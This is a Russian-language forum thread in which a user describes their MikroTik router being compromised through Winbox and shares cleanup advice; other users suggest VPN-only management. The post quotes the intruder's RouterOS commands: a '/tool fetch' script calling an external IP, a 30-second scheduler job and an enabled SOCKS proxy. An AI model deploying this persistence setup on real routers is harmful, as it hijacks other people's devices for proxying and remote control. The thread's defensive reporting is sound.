Перейти до

Проверяем свои борды. опять ВЗЛОМ Mikrotik

userok

Автор: userok,
в Маршрутизатор L3

 Share Подписчики 0

Рекомендованные сообщения

userok

userok 10

Опубликовано:
Опубликовано:

Без лишних подробностей. ссыль

Очередной раз через уязвимость winbox на одной из последних прошивках 6.41.3 якобы безопасных был взломан микротик на раз-два!
Суть проблемы — вход злоумышленника через winbox с ip 95.154.216.160 абсолютно без проблем, в моём случае 2 неудачных попытки входа и 3-й успешный вход под второй учёткой со сложным паролем нигде не засвеченным.
Под этим логином не входили никогда, создана учётка про запас на случай потери основного пароля.
 

Далее после входа злоумышленник на микротике:

1. Создаёт скрипт script1_ 

/tool fetch address=95.154.216.160 port=2008 src-path=/mikrotik.php mode=http


2. Создаёт в планировщике задание каждые 30 секунд выполнять скрипт script1_
3. Включает IP-> Socks

/ip socks> print enabled: yes port: 4145 connection-idle-timeout: 2m max-connections: 200


Самое интересное то, что файл mikrotik.php пустой, либо это значит что это только предупреждение об уязвимости, либо всётаки конфиг ушёл в английское королевство.

Пока непонятно как такое могло быть?!

Что делать ели Ваш микротик взломан таким образом?

Надо изначально было не давать доступ к winbox из внешней сети, разрешить только с определённых айпи.

Удалить скрипт и задание планировщика.

Выключить носки) Ip->Socks

Менять пароли

Шиться новой прошивкой, но не факт что она уже есть с фиксом)

  • Thanks 2
Ссылка на сообщение
Поделиться на других сайтах
Kto To

Kto To 602

Опубліковано:
Опубліковано:

Я не понимаю вообще зачем давать доступ на авторизацию винбокс/хттп в микротике извне? Подымаете на микротике vpn - конектитесь на него, с него уже ходите по сети своей.

Ссылка на сообщение
Поделиться на других сайтах
userok

userok 10

Опубліковано:
  • Автор
Опубліковано:
Только что, Kto To сказал:

Я не понимаю вообще зачем давать доступ на авторизацию винбокс/хттп в микротике извне? Подымаете на микротике vpn - конектитесь на него, с него уже ходите по сети своей.

Спору нет, методики взлома давно уже известны, но не все обновляются до фиксовых версий...

Ссылка на сообщение
Поделиться на других сайтах
tkapluk

tkapluk 908

Опубліковано:
Опубліковано:
16 минут назад, Kto To сказал:

Я не понимаю вообще зачем давать доступ на авторизацию винбокс/хттп в микротике извне? Подымаете на микротике vpn - конектитесь на него, с него уже ходите по сети своей.

Это на уровне админа, но их же домохозяйкам ставят. 

Ссылка на сообщение
Поделиться на других сайтах

Создайте аккаунт или войдите в него для комментирования

Вы должны быть пользователем, чтобы оставить комментарий

Создать аккаунт

Зарегистрируйтесь для получения аккаунта. Это просто!

Зарегистрировать аккаунт

Вхід

Уже зарегистрированы? Войдите здесь.

Войти сейчас
 Share
Подписчики 0
Перейти до переліку тем

  • Зараз на сторінці   0 користувачів

    Немає користувачів, що переглядають цю сторінку.

  • Схожий контент

    • GekaPeka
      mikrotik RB 40111GS+RM
      Від GekaPeka
      mikrotik RB 40111GS+RM новый, 7500 грн.
    • DjBodya
      Проблеми з Mikrotik Chateau LTE6 ax
      Від DjBodya
      Вітаю.
      Одразу попереджу, що з мікротіками не новачок. Знаю, як з ними поводитись і налаштовувати.
      Купив собі це диво. І не можу налаштувати. 
      Скидаю в нуль, або просто включаю, без різниці. Буває вдається навіть підключитися по winbox. Потім вилітає в помилку.
      Зазвичай одразу System LED переходить в режим блимаючого червоного і все. 
      DHCP не роздає. По МАС підключитися не вдається.
    • Туйон
      Продам Mikrotik SXT G-5HnD
      Від Туйон
      Отличие от обычной SXT5 - гигабитный порт и лицензия 4 уровня (может быть не только бриджом а и точкой доступа).
      Старенькая, АС-стандарт не поддерживает.
      В своё время мегабит 160+ вроде качала.
      Где-то возможно в том же гараже есть вторая такая же, если надо - могу поискать.
      Внешнее состояние нормальное. Чуть пожелтела но трещин и т д нету.
      В комплекте сама точка и хвостик крепления (вставлятся в саму антенну).
      РОЕ где-то в работе до сих пор, но подойдут любые.
      Цена.. пусть для начала будет 1000 грн.
      Проверена в комнате "на коленке", дам время на полноценную поверку, а то мало ли (года два лежала отдыхала).
      Желающие пишите в ЛС.
       
      https://www.technotrade.com.ua/Products/MikroTik_SXT_G_5HnD.php
    • independent
      Продам Mikrotik rb4011igs+5hacq2hnd-in
      Від independent
      Mikrotik rb4011igs+5hacq-2hnd-in
      Б/в.
      Ціна 5075 грн
       
      https://www.olx.ua/d/uk/obyavlenie/mikrotik-rb4011igs-5hacq2hnd-in-IDWH6Lo.html
    • independent
      Продам mikrotik rb4011igs+5hacq2hnd-in
      Від independent
      Mikrotik rb4011igs+5hacq-2hnd-in б/в.
      Продається в результаті великого енергоспоживання від дбж.
       
      Ціна 6100 грн
       
      https://www.olx.ua/d/uk/obyavlenie/mikrotik-rb4011igs-5hacq2hnd-in-IDWH6Lo.html
×
×
  • Створити нове...